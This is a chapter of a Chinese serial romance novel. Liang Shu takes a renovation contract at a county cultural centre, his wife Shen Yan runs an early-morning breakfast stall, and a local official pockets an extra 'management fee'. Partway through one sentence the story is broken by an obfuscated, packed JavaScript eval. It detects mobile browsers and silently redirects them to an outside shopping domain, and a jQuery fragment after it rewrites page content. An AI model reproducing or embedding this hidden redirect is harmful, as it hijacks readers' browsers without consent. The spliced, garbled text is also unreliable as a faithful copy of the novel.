窗外漆黑一片，院子里静得能听见墙角虫鸣的细碎声响。凌晨四点的光景，沈彦还没醒，梁述却先睁开了眼。他侧躺着借着从窗纸透进来的微弱光线，看见沈彦微蹙的眉头。
身边人的呼吸声有些不稳，不像是沉在梦里的安稳模样。“醒了？”他的声音在寂静的屋里格外清晰，带着刚睡醒的低哑。
“嗯。”沈彦应了一声，声音闷闷的，像是还埋在被子里，尾音拖着点没完全舒展开的沙哑，不由自主地往梁述身边挪了挪，感受到他身上传来的体温。
梁述伸出手，轻轻拍了拍她的后背，动作笨拙却带着安抚的意味：“要不你多睡一会，我给你准备好你要用的东西。”
“还是算了吧。”沈彦想着自己的赚钱还是起身了。两个人坐起来摸黑穿衣服，穿好后沈彦先把灯打开，光瞬间照亮了屋子。梁述把被子叠好，沈彦把头发扎起来，别上发卡。
灶房里的灯也开了，梁述蹲在灶台前生火，沈彦开始和面。灶膛里的火着了，火苗舔着锅底，发出噼啪的响声。梁述往灶膛里添了两根粗柴，站起来把灶台边上的水缸添满了水。
“你去睡，你这一天还得干活呢。”沈彦低着头揉面，面盆很大，她弯着腰胳膊使劲，额前的碎发垂下来，随着揉面的动作一晃一晃的。
梁述没听沈彦的话，他坐在灶台前的小板凳上，时不时添点柴火。面和好后盖上湿布放在灶台边上发着。沈彦和梁述开始磨豆浆，小石磨嗡嗡地转，豆浆从磨缝里流出来，白花花的，豆腥味混着清晨的凉气，在灶房里散开。
梁述站起来，把豆浆过滤了倒进锅里。沈彦开始拌馅，切韭菜，炒肉丁。菜刀在案板上当当当地响，节奏又快又匀。
四点多的灶房里，火光跳动映照着沈彦的侧脸。她的手是真快，面皮在左手心里轻轻一转，右手的指尖飞快地捏出匀称的褶子，几秒钟的功夫，一个圆滚滚的包子就成了形。白白胖胖的，在盖帘上一圈圈排开。
“你看啥？”沈彦头也没抬，手里的活计没停。“看你包包子。”梁述就站在旁边，目光落在她翻飞的手上，语气挺实在。“包包子有啥好看的。”沈彦嘴上这么说，捏褶子的指尖却好像更灵活了些。“好看。”梁述又说，声音不高却听得清清楚楚。
沈彦的手顿了一下，随即又继续动起来，只是那速度好像慢了半拍。耳根子悄悄红了。好在灶膛里的火光正旺，红通通的光映在脸上，梁述眼里只瞧见她专注的神情，倒没看出那点不自在来。
五点，天刚蒙蒙亮。包子上了笼，粥在锅里咕嘟咕嘟地冒泡，豆浆烧开了，沈彦点了石膏水，盖上盖子等着豆腐脑凝固。她烙了十来张葱油饼，一张一张摞在竹篮里，盖上干净的白布。
梁述把推车从院子里推出来，把东西一样一样搬上去——包子笼、粥罐、豆腐脑罐、油饼篮、碗筷、调料瓶。沈彦锁了院门，跳到车斗里坐着，扶着那些瓶瓶罐罐。
“出发！”她说。梁述推车，沈彦坐在后面，两个人出了巷子拐上主街。天还没大亮，只有零星的几个路人。骑到路口梁述把车停下，沈彦把东西卸下来，支好摊板摆好碗筷，把“沈记早点”的招牌立起来。
沈彦把蒸笼盖子揭开一条缝，热气冒出来，包子香顺着晨风散开了。“你走吧。”沈彦说，“别耽误了工作。”
沈彦站在摊板后面，围裙系得整整齐齐，头发扎得利索，红色的发卡别在耳朵边上。“下午我来接你。”梁述说完，骑上自行车走了。骑出去几十米，他回头看了一眼。沈彦正在往碗里盛粥，围裙被风吹得贴在身上。他转回头，加快了速度。
早上的县城比镇上热闹得多，梁述今天不去赵老大那儿报到，他之前找到一个刷墙的活。是王老四跟他说的，县城南街有个小礼堂，年头久了墙皮掉了不少，单位想找人翻新。王老四路过的时候看见门口贴着张纸，写着“礼堂翻新，寻施工队”，下面留了个电话。梁述让王老四把电话抄了，自己去邮电局打了个电话，跟对方约了今天见面。
他骑车到了县城南街，找到了单位——县文化馆。院子不大，一栋旧办公楼，后面是一个小礼堂，窗户是老式的钢窗，漆皮翘得老高。梁述站在院子里看了一圈，心里有了点数。
文化馆的馆长姓陈，五十来岁，戴眼镜，说话慢条斯理的。他领着梁述进礼堂看了看，屋顶很高，墙皮确实掉了不少，舞台地板也有几处烂了。
“你看这活能干吗？”陈馆长问。梁述在礼堂里走了一圈，敲了敲墙又看了看屋顶，蹲下来摸了摸地板。“能干，墙要铲掉重抹，刮腻子刷两遍漆。地板这几块换了再打磨上漆。屋顶要检查一下，有漏的地方得补。”
陈馆长点了点头。“你干过类似的活？”“干过。给供销社刷过墙，给饭馆装修过。”梁述没说大话，他现在虽然干的活不是很多，但每一件都实实在在。
陈馆长又问了一句：“你一个人干？”“我带几个人，都是干过多年的。”陈馆长想了想：“那我们这个价钱？”梁述把来之前算好的数字说了出来。陈馆长皱了皱眉，还了一个数，比梁述的报价低了两成。
梁述没急着答应，他从随身的工具袋里拿出一张纸，是他在家用沈彦的账本纸背面算的——材料钱、工人的工钱，一笔一笔写得清清楚楚。
“陈馆长，这是成本。您给的那个数，我连工钱都发不出来。”陈馆长接过纸看了看，字不好看但数字清楚。他把纸还回去笑了一下：“你这账算得细。行，那就给你加二百，不能再多了。”
梁述在心里算了一下，刨去成本自己能落个三百来块，够可以了。而且是他自己找的活，也算迈出了第一步。
陈馆长又问：“那什么时候开工？”梁述觉得越快越好，省的出问题：“明天就行，我收拾一下东西。”
梁述从文化馆出来，骑上自行车往回走。路过一个卖包子的摊子，他停下来买了两个。咬了一口，面发得不够暄，馅也咸了，不如沈彦做的好吃。
回到镇上时，日头刚过晌午。沈彦正在院子里清洗早上用的笼屉和碗筷。看见梁述推门进来，她连忙把手在围裙上蹭了蹭，眼里带着点期待：“谈成了？”
“成了。”梁述点点头，语气里透着点不易察觉的轻快，“下周一开工，在文化馆的小礼堂，给墙面刷浆、补补门窗什么的。”
沈彦没问工钱多少，只是弯了弯嘴角。她转身回灶房，很快端了一碗晾好的凉白开出来，递到他手里。梁述接过来，仰头一口气灌了大半碗，最后把剩下的也喝净了，才把空碗放在旁边的石墩上，瓷碗和石头碰撞出清脆的响。
“沈彦。”他忽然开口，声音比刚才沉了些。“怎么了？”沈彦应着正伸手要去收拾那只空碗。“这个活，是我自己找的。”梁述像是在强调什么。
沈彦的动作顿了顿，抬眼看向他：“然后呢？”她轻声问，眼底带着点了然的笑意，没想到梁述还有这样的一面。梁述没有听到沈彦的回答，感觉心里空落落的。但很快就恢复，因为沈彦的声音从灶房里传出，清晰地落在梁述耳朵里：“梁述，晚上给你做红烧肉。”
梁述嘴角慢慢往上扬了扬，起身往灶房走去烧火。
搬家后的第五天，沈彦的早点摊出了点事。早上她刚把摊子支好，一个穿灰褂子的中年男人走过来，站在摊板前面，看了看招牌，又看了看沈彦：“你是老板？”
“是。您吃点什么？”男人没理她的话，从口袋里掏出一张纸，放在摊板上。“我是镇上工商所的。你这个摊子办执照了没有？”
沈彦愣了一下，她不知道摆摊还要办执照。毕竟在村里摆没人管，在镇上摆了一个多月，也没人提过执照的事。
“同志，我不知道要办执照，怎么个办法？”男人把纸收回去，面无表情地说：“你先别卖了，办了执照再来。”说完转身要走。沈彦看了看周围，已经有人在排队了。她往前走了一步，叫住那个男人。
“同志，我问一下这个执照在哪儿办？需要什么手续？我下午就去办。今天早上这些东西都准备好了，不卖就坏了。”
男人回过头看了她一眼。沈彦站在摊板后面，围裙系得整整齐齐，手上有面粉，脸上带着笑。“那行，你先卖吧。下午来所里找我，我姓吴。”男人说完走了。
旁边卖菜的老刘头凑过来，压低声音说：“姑娘你小心点，那个姓吴的不是好东西，上次收了我五块钱才让我摆的。”
沈彦点了点头，心里记下了。中午收了摊她没急着回去，先去了趟工商所。工商所在镇政府大院里头，一间小办公室，门上贴着一张纸，写着“工商管理所”。她敲了门，里面有人喊“进来”。
姓吴的坐在办公桌后面，翘着二郎腿，看见沈彦进来，把腿放下来。“你是早上那个？”“是，吴同志，我来问执照的事。”姓吴的从抽屉里拿出一张表格，扔在桌上。“填表。填完了交五块钱，执照过两天来拿。”
沈彦拿起表格看了看，上面的字她都认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632816|206451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得，但是不清楚内容，所以她把表格叠好，装进口袋里。
“吴同志，这五块钱是执照费？”姓吴的看了她一眼：“执照费两块，管理费三块。”
“管理费是什么？”沈彦有些疑惑地说。男人不耐烦的说：“你在镇上摆摊，就要交管理费。一个月三块。”
沈彦从口袋里掏出五块钱，放在桌上。姓吴的收了钱，开了张收据给她，上面写着“执照费贰元”，没有写管理费。沈彦看了一眼，把收据装进口袋。
回到家，她把这事跟梁述说了。梁述蹲在院子里磨瓦刀，听完抬起头：“他收了你五块？收据上写的多少？”
“两块。”梁述把瓦刀放在磨石上，站起来。“明天我去找他。”“不用。”沈彦把收据从口袋里掏出来，叠好放进柜子里，“这个月交了就算了。毕竟咱们不清楚，我先问问周围的人。”
晚上吃饭的时候，沈彦把工商所的事又想了想。姓吴的收了五块，只给两块收据，那三块进了他自己口袋。这种人背后肯定有关系，不然也不会有恃无恐。
她想起老刘头说的“收了五块钱才让我摆的”。不只是她一个人被收，卖菜的也被收。要是有人能管就好了。沈彦夹了一筷子菜，慢慢嚼着。脑子里转着这些事，但没跟梁述说。他忙着准备文化馆的活，不想让他分心。
接下来的几天，梁述忙着干活。他找王老四和李二柱让他们赶紧来干活，并且还去找了梁诚。
傍晚，他骑车回了一趟梁家湾。梁诚正在院子里劈柴，看见梁述进来放下斧子，抹了把汗。
“哥。”梁述把自行车支好，站在院子里。“啥事？”梁诚问道。“我接了个活，县文化馆的小礼堂翻新，干十来天。你来不来？”
梁诚把斧子插在木桩上，拿起搭在柴堆上的毛巾擦了擦手，没说话。张香玲从灶房探出头来，看了梁述一眼又缩回去了。
“一天多少钱？”梁诚问。
“跟其他人一样。活干完了结。”
梁诚有些犹豫：“我要是去了，地里的活怎么办？”
梁述看了一眼院子外面的地。玉米长到膝盖了，绿油油的该施肥了，确实嫂子一个人干不了。“哥。”梁述蹲到他旁边，“你不想一辈子种地吧？”
梁诚码柴的手停了一下。“地里的活我来干！”张香玲从灶房里走出来，手里攥条抹布，看着梁诚还是不说话，有些心急：“你去！地里的活我干。”
梁诚抬起头看了张香玲一眼。张香玲的脸上眼睛亮了一下，有种总算等到了的感觉。梁诚站起来，拍了拍手上的木屑。“行。我去。”
张香玲把手里的抹布攥紧了些，看他答应下来放心了。梁述站起来，看着大哥的背影，想起沈彦说的——“你要是拉他一把，他会来的。”
“地方在县里的文化馆，早上六点。”梁述说完骑上自行车走了。
梁述的速度很快，回来的时候沈彦刚做好饭。今天她多做了几个菜，红烧肉、凉拌黄瓜、一碟花生米还蒸了一锅馒头。两个人坐在院子里的石墩上吃，月亮从东边升起来，挂在偏房的屋顶上圆圆的。
梁述吃得快，沈彦一碗饭没吃完，他已经吃了两碗。她把自己碗里的红烧肉夹了两块放到他碗里。“开工了，多吃点。”梁述点点头，把红烧肉拌进饭里吃了个干净。
吃完饭，沈彦站起来收碗，梁述把碗摞好端到灶房。两个人一个洗一个擦，水声哗哗的，碗在手里转来转去，配合得比刚结婚的时候顺当多了。洗完碗，沈彦把灶台擦干净，梁述把院子里的工具用塑料布盖好，怕夜里下雨。
回到屋里，沈彦刚躺下就被梁述从身后轻轻揽住了。他的胳膊很壮，带着劳作后的温度环在她腰上，不重却让人挣不开。沈彦的后背贴着他的胸膛，能感受到他沉稳的心跳，一下下敲在她心上。
月光透过窗棂洒进来，给屋里镀了一层淡淡的银辉。梁述伸手拉灭了灯，屋里霎时陷入一片静谧，只有彼此平稳的呼吸声在空气中交织。
夜渐渐深了，窗外的虫鸣低了下去，月光温柔地笼罩着小小的屋子，安宁而平和。
第二天天快亮时，沈彦才猛地惊醒，一看窗外的天色，不由得懊恼地拍了下额头——往日这个时辰，她早已经在灶房忙活开了。再看旁边没人，赶紧起来收拾。等到了厨房，发现东西都已经被整理好，旁边还有一张梁述留下的字条。
“不用着急，我已经收拾好了。”沈彦看着心里想吃了蜜一样甜。